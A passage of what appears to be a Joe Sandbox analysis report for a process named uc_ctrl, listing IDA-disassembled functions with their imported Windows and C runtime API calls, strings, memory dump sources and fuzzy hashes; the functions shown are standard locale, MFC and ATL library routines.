Part of subcall function 6D1A1410: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000010), ref: 6D1A1425
Part of subcall function 6D1A1410: std::bad_exception::bad_exception.LIBCMT ref: 6D1A1467
Part of subcall function 6D1A1410: _CxxThrowException.VCRUNTIME140(?,6D1D3B5C,bad locale name), ref: 6D1A1475
Part of subcall function 6D1A1410: ?_Locinfo_ctor@_Locinfo@std@@SAXPAV12@PBD@Z.MSVCP140(?,?), ref: 6D1A147E

?_Init@?$time_put@_WV?$ostreambuf_iterator@_WU?$char_traits@_W@std@@@std@@@std@@IAEXABV_Locinfo@2@@Z.MSVCP140(?,00000038,6D1BED77,00000000), ref: 6D1BEF0C

Part of subcall function 6D1B3C70: ?_W_Gettnames@_Locinfo@std@@QBE?AV_Timevec@2@XZ.MSVCP140(00000000,00000000,00000000,?,6D1B1631,00000000,00000038,6D1B9B9F,?,?,00000000,?,?,?,00000004), ref: 6D1B3C7E
Part of subcall function 6D1B3C70: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,00000000,00000000,?,6D1B1631,00000000,00000038,6D1B9B9F,?,?,00000000,?,?,?,00000004), ref: 6D1B3C8E

??1_Locinfo@std@@QAE@XZ.MSVCP140(?,00000038,6D1BED77,00000000), ref: 6D1BEF14

Part of subcall function 6D1A1520: ?_Locinfo_dtor@_Locinfo@std@@SAXPAV12@@Z.MSVCP140(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1525
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1534
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1548
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A155A
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A156C
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A157E
Part of subcall function 6D1A1520: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,00000000,6D1A330B,00000000,00000000,0000003C,6D1A637B,?,?,00000000,?,6D1A620D,?,00000003,00000010), ref: 6D1A1590

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: free$Locinfo@std@@$H_prolog3$??0_??1_ExceptionGettnames@_Init@?$time_put@_Locinfo@2@@Locinfo_ctor@_Locinfo_dtor@_ThrowTimevec@2@U?$char_traits@_V12@V12@@V?$ostreambuf_iterator@_W@std@@@std@@@std@@_lock_localesstd::bad_exception::bad_exception
String ID:
API String ID: 644799502-0
Opcode ID: 089718e2c8eda185f982d1cc05fbca6e7530058319fd574cc1cb8a782a55ec9c
Instruction ID: 31a4fd84f2e7c874c8c7d98f709d4ab50d43d9d2291b87dfd03e35372cf3189c
Opcode Fuzzy Hash: 089718e2c8eda185f982d1cc05fbca6e7530058319fd574cc1cb8a782a55ec9c
Instruction Fuzzy Hash: 79F0ED789042148BDB00DF94C6447EDBBF4AF20308F10841DA205AB388DBF8AB45CB92

Function 6D1C66E0 Relevance: 6.0, APIs: 4, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1C66E7
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000008), ref: 6D1C66F0

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1AE064: __EH_prolog3.LIBCMT ref: 6D1AE06B
Part of subcall function 6D1AE064: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6D1AE56F,00000010,?,?,00000000), ref: 6D1AE076
Part of subcall function 6D1AE064: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,00000000), ref: 6D1AE08E
Part of subcall function 6D1AE064: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,00000000), ref: 6D1AE0F2

std::locale::~locale.LIBCPMT ref: 6D1C6709

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3655460422-0
Opcode ID: c7229f6da92f83e031e644b7c778f5ac9f1a45d690f941731b747ca410ea47a7
Instruction ID: 155304e34d4ae74a4608e290a9ce48370b7cdfa44a7e8903eca2709195d095da
Opcode Fuzzy Hash: c7229f6da92f83e031e644b7c778f5ac9f1a45d690f941731b747ca410ea47a7
Instruction Fuzzy Hash: 39E06D39A042149BCF05EBF0C610A6D77717F54228F264108D615AB284EFB98F06DB52

Function 6D1A6140 Relevance: 6.0, APIs: 4, Instructions: 22COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1A6147
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000008,6D1A5EEE,00000020,?,?,?,?,?,?,?,?,6D1A543D,?,?), ref: 6D1A6150

Part of subcall function 6D1A44C0: std::locale::locale.LIBCPMT ref: 6D1A44C9

Part of subcall function 6D1A632C: __EH_prolog3.LIBCMT ref: 6D1A6333
Part of subcall function 6D1A632C: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000,?), ref: 6D1A633E
Part of subcall function 6D1A632C: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000,?), ref: 6D1A6356
Part of subcall function 6D1A632C: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,6D1A620D,?,00000003,00000010,6D1A5F84,?,?,?,?,6D1A604E,?,?,00000000,?), ref: 6D1A63BA

std::locale::~locale.LIBCPMT ref: 6D1A6169

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3655460422-0
Opcode ID: ed55405bb5ccade987d2392f030dd77f6eb42aaa3ad43a36186aa40abeedec68
Instruction ID: 8ee0731a26ebb66d96c23b35f07f5cc4a388b0fa9f9db9333ef18ea5d212a9b0
Opcode Fuzzy Hash: ed55405bb5ccade987d2392f030dd77f6eb42aaa3ad43a36186aa40abeedec68
Instruction Fuzzy Hash: 75E09238A0421887CF04EBB0C51057D77716F64228F160108C601AB3C8EFB98F02CB56

Function 6D19AA10 Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D19AA15
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(?,00000000), ref: 6D19AA1F
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6D19AA27
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6D19AA30

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: __acrt_iob_func$fputcfputs
String ID:
API String ID: 384373759-0
Opcode ID: 325445678ce9e7bd4d89cb6b1dbe373035571f104fd69d63c890fadbd3263490
Instruction ID: e7c26c621ca7d2e36df8086795f93ac9b1ea15f38bed5e710ad0bcaf67d0c3b1
Opcode Fuzzy Hash: 325445678ce9e7bd4d89cb6b1dbe373035571f104fd69d63c890fadbd3263490
Instruction Fuzzy Hash: 40D09E71144204EBFB002BE4FC0EB7D7BBCEB47705F018210B60684092C7E115508B62

Function 6D02646D Relevance: 6.0, APIs: 4, Instructions: 14COMMON

Download Yara Rule

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 6D02646D
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 6D026472
___vcrt_initialize_locks.LIBVCRUNTIME ref: 6D026477

Part of subcall function 6D026B9B: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 6D026BAC

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 6D02648C

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: e3e196b70cd7c6cbccbe7df6e02ae4c7dcb589dc43b8c4ccb0c9ad7106e53efe
Instruction ID: 6137be492cdb0d8716e08a8da9f212fdf09931e1df57de8bbfa87b20fb3aed95
Opcode Fuzzy Hash: e3e196b70cd7c6cbccbe7df6e02ae4c7dcb589dc43b8c4ccb0c9ad7106e53efe
Instruction Fuzzy Hash: 46C0483809F282243C032AB02E203AF43A45F937CCBC215D0CFD01B502EF06208B96F2

Function 6D1AA400 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 318COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1AA407

Part of subcall function 6D1AB0F3: __EH_prolog3.LIBCMT ref: 6D1AB0FA
Part of subcall function 6D1AB0F3: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0 ref: 6D1AB105
Part of subcall function 6D1AB0F3: ??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6D1AB11D
Part of subcall function 6D1AB0F3: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6D1AB17F

Part of subcall function 6D1AA771: _Mpunct.LIBCPMT ref: 6D1AA77C

Part of subcall function 6D1AAEBE: ?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6D1AB1AA,00000000,?,6D1AA481,?,?,?,?,00000800,00000000), ref: 6D1AAEC7

Strings

0123456789ABCDEFabcdef-+Xx, xrefs: 6D1AA45A

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: ??1_?sgetc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@H_prolog3H_prolog3_Lockit@std@@MpunctU?$char_traits@_lock_locales
String ID: 0123456789ABCDEFabcdef-+Xx
API String ID: 1148379127-2799312399
Opcode ID: 6cd5880c56c3992f02c990615118638432fbdf0249b8cded20ec9cf0c6550f67
Instruction ID: dab571f5487d9adea89ea07ec47321909e82c538e37d50180b063b2b8598126a
Opcode Fuzzy Hash: 6cd5880c56c3992f02c990615118638432fbdf0249b8cded20ec9cf0c6550f67
Instruction Fuzzy Hash: 47C1B038E082898FDF12CEA88450BEDBBB16F16304F5D8059D9956F24EC7F09846CB90

Function 00B33AB0 Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 217COMMON

Download Yara Rule

APIs

EnumWindows.USER32(00B367D0,00B3ACA8), ref: 00B33B84
GetClassNameW.USER32(00000000,?,00000200), ref: 00B33BDD

Strings

simba_main, xrefs: 00B33C38

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: ClassEnumNameWindows
String ID: simba_main
API String ID: 1187928955-3195281193
Opcode ID: de2ec7834fa20269e57ad9288254d33b5cc0ea9957d8d968a3d3828b94a072cb
Instruction ID: 8c9451e3f5a75c65650f5a3637a99d65d010d3f3c5c3c623184697e8196be80f
Opcode Fuzzy Hash: de2ec7834fa20269e57ad9288254d33b5cc0ea9957d8d968a3d3828b94a072cb
Instruction Fuzzy Hash: 4A91B1709012199FDB24CF28C998BAAB7F1FF54B10F2881E9D409AB291DB359F80CF40

Function 00B33DD0 Relevance: 5.4, APIs: 4, Instructions: 403COMMON

Download Yara Rule

APIs

wcsstr.VCRUNTIME140(?,?), ref: 00B33F1C
wcsstr.VCRUNTIME140(?,00B3AB0C,?,00000000,00000000), ref: 00B33FD8
wcsstr.VCRUNTIME140(?,00B3AB10), ref: 00B34009

Memory Dump Source

Source File: 00000010.00000002.4516969046.0000000000B31000.00000020.00000001.01000000.00000009.sdmp, Offset: 00B30000, based on PE: true

Associated: 00000010.00000002.4516767542.0000000000B30000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517104426.0000000000B3A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517218141.0000000000B41000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.4517362025.0000000000B42000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_b30000_uc_ctrl.jbxd

Similarity

API ID: wcsstr
String ID:
API String ID: 2735924446-0
Opcode ID: cfce2f7b8c3c3b07e2c852d5845496995ae64d934a009255ddff71ea5486a884
Instruction ID: 304421868723a07c078727ceeae6fd039db35575626fd330cc368769c8587c60
Opcode Fuzzy Hash: cfce2f7b8c3c3b07e2c852d5845496995ae64d934a009255ddff71ea5486a884
Instruction Fuzzy Hash: 20E17330A00A05DFDB14CF68C894A6EB7F5FF45324F248299E8259B291DB74ED44CF91

Function 6D1AEF70 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1AEF77
_Wcsftime.API-MS-WIN-CRT-TIME-L1-1-0(?,00000000,?,?,?,00000010,00000000), ref: 6D1AEFF7

Strings

!%x, xrefs: 6D1AEF88

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_Wcsftime
String ID: !%x
API String ID: 1145147137-1893981228
Opcode ID: 06279c40e9d50f8de81059293aa145862c06353468027b34fd89c798cdc415de
Instruction ID: 77a03e2bcc7d04670c8653dc5612e697a8d49d6b6040b25985f46975b77416b1
Opcode Fuzzy Hash: 06279c40e9d50f8de81059293aa145862c06353468027b34fd89c798cdc415de
Instruction Fuzzy Hash: E231567AE04229EBCF11CF94D980AEDBBB2BF08314F154019E954BB244D7B5AE05CB91

Function 6D1BABC0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 83COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6D1BABC7
_Strftime.API-MS-WIN-CRT-TIME-L1-1-0(00000000,00000000,?,?,?,00000010,00000000), ref: 6D1BAC3F

Strings

!%x, xrefs: 6D1BABCF

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3_Strftime
String ID: !%x
API String ID: 2838425630-1893981228
Opcode ID: 7d5972110c301da33b461187fb76ac1d97ee1a9a3dd6e49a3917fdd0d1afd1b6
Instruction ID: 95baf37e0305798dc2d7f980dcb0b58001307d5905427505f91589b040f9921a
Opcode Fuzzy Hash: 7d5972110c301da33b461187fb76ac1d97ee1a9a3dd6e49a3917fdd0d1afd1b6
Instruction Fuzzy Hash: 9B316B35D08259DFCF12CF94E880BEDBBB0BF59300F054059E9956B346D7B45905CBA0

Function 6CF5CB13 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF5CB1A
SetRectEmpty.USER32(?), ref: 6CF5CBC6

Strings

d, xrefs: 6CF5CC19

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: EmptyH_prolog3Rect
String ID: d
API String ID: 1443337074-2564639436
Opcode ID: b7447bc0de2b68b6560d038085722900873634b0f940b5d73b398c66ba0fec9a
Instruction ID: b413a7bc256bb7280f7fdc79e1183317f6f97039cb3320773b394dd63e18bce8
Opcode Fuzzy Hash: b7447bc0de2b68b6560d038085722900873634b0f940b5d73b398c66ba0fec9a
Instruction Fuzzy Hash: E9317AB0911345CEEB80CF7885817C97AF4BB08314F2886BA9D5DDF64AEBB401448FA1

Function 6CF1A937 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6CF1A93E

Part of subcall function 6CF0A22E: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 6CF0A243

Part of subcall function 6CF546CA: __EH_prolog3.LIBCMT ref: 6CF546D1

Part of subcall function 6CEEA044: __EH_prolog3.LIBCMT ref: 6CEEA0F2

Part of subcall function 6CF54748: __EH_prolog3.LIBCMT ref: 6CF5474F

Strings

MFCShellListCtrl_EnableShellContextMenu, xrefs: 6CF1A98D
TRUE, xrefs: 6CF1A9AF

Memory Dump Source

Source File: 00000010.00000002.4520767307.000000006CEC1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6CEC0000, based on PE: true

Associated: 00000010.00000002.4520718827.000000006CEC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4520977868.000000006D053000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521074954.000000006D122000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521107216.000000006D124000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D127000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521169530.000000006D129000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521253585.000000006D130000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521289673.000000006D143000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.4521391456.000000006D160000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6cec0000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$ByteCharMultiWide
String ID: MFCShellListCtrl_EnableShellContextMenu$TRUE
API String ID: 2949695960-1509083621
Opcode ID: 5f4cd6b66bd289871e140b4a5138140df464eeb3332103d915ce93a4e6895202
Instruction ID: 957b9693cd7ed72ed9c21d3fac42a231d347588b5645c5804daf3a5beb272529
Opcode Fuzzy Hash: 5f4cd6b66bd289871e140b4a5138140df464eeb3332103d915ce93a4e6895202
Instruction Fuzzy Hash: B1113D3091024A9ADB15DBA0CD54FFEB775BF1030CF60446C9425A7AD0EB359A1DDB51

Function 6D1BA810 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

_CIlog.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6D1BA824
_CIlog.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6D1BA86F

Strings

!%x, xrefs: 6D1BA85C

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: Ilog
String ID: !%x
API String ID: 3072751996-1893981228
Opcode ID: de5c686f7a709525c0dceac86ce8b03f0d385edfa7137e908d74d54571d38a8c
Instruction ID: 465887968039a6beeffb7dcddbbf23c0d7d66a86f8f30420623e609ccafbf613
Opcode Fuzzy Hash: de5c686f7a709525c0dceac86ce8b03f0d385edfa7137e908d74d54571d38a8c
Instruction Fuzzy Hash: D2F06DA2E0480DA3CB433E51E51924477B4EA157E1B220D94D4C6A42BCFF62997456D5

Function 6D1A00BA Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 23COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6D1A00C1

Part of subcall function 6D1A02C4: __EH_prolog3_catch.LIBCMT ref: 6D1A02CB
Part of subcall function 6D1A02C4: new.LIBCMT ref: 6D1A033B

__std_exception_destroy.VCRUNTIME140(6D194010,6D1D3ABC,00000000,?,?,?,?,?,?,?,00000014), ref: 6D1A00FF

Strings

bad allocation, xrefs: 6D1A00C8

Memory Dump Source

Source File: 00000010.00000002.4521636017.000000006D191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6D190000, based on PE: true

Associated: 00000010.00000002.4521526317.000000006D190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4521987912.000000006D1F2000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F5000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.4522041953.000000006D1F8000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6d190000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3H_prolog3_catch__std_exception_destroy
String ID: bad allocation
API String ID: 2594237031-2104205924
Opcode ID: beaa7cd26a39daa88582e64d6c66c5d1941a4f3fd8623aa2e33a18bffc5f57d2
Instruction ID: cfc23ca12658c77b639c9f9296372ed42a19df66af732cacad22b27f498c780b
Opcode Fuzzy Hash: beaa7cd26a39daa88582e64d6c66c5d1941a4f3fd8623aa2e33a18bffc5f57d2
Instruction Fuzzy Hash: C8F039B4E052298FCF40DFA4C9057EEBAB0AB08204B404029D500FB208D7B846058BAA

Function 00B379F7 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00B37A4A: memset.VCRUNTIME140(0000000F,00000000,00000018,00000000,?,00B379FF,?,59AF50C8), ref: 00B37A57

Part of subcall function 00B37730: InitializeCriticalSectionAndSpinCount.KERNEL32(0000000F,00000000,00B37A26,?,59AF50C8), ref: 00B37733
Part of subcall function 00B37730: GetLastError.KERNEL32 ref: 00B3773D

IsDebuggerPresent.KERNEL32(?,59AF50C8), ref: 00B37A2A
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule), ref: 00B37A39

Strings

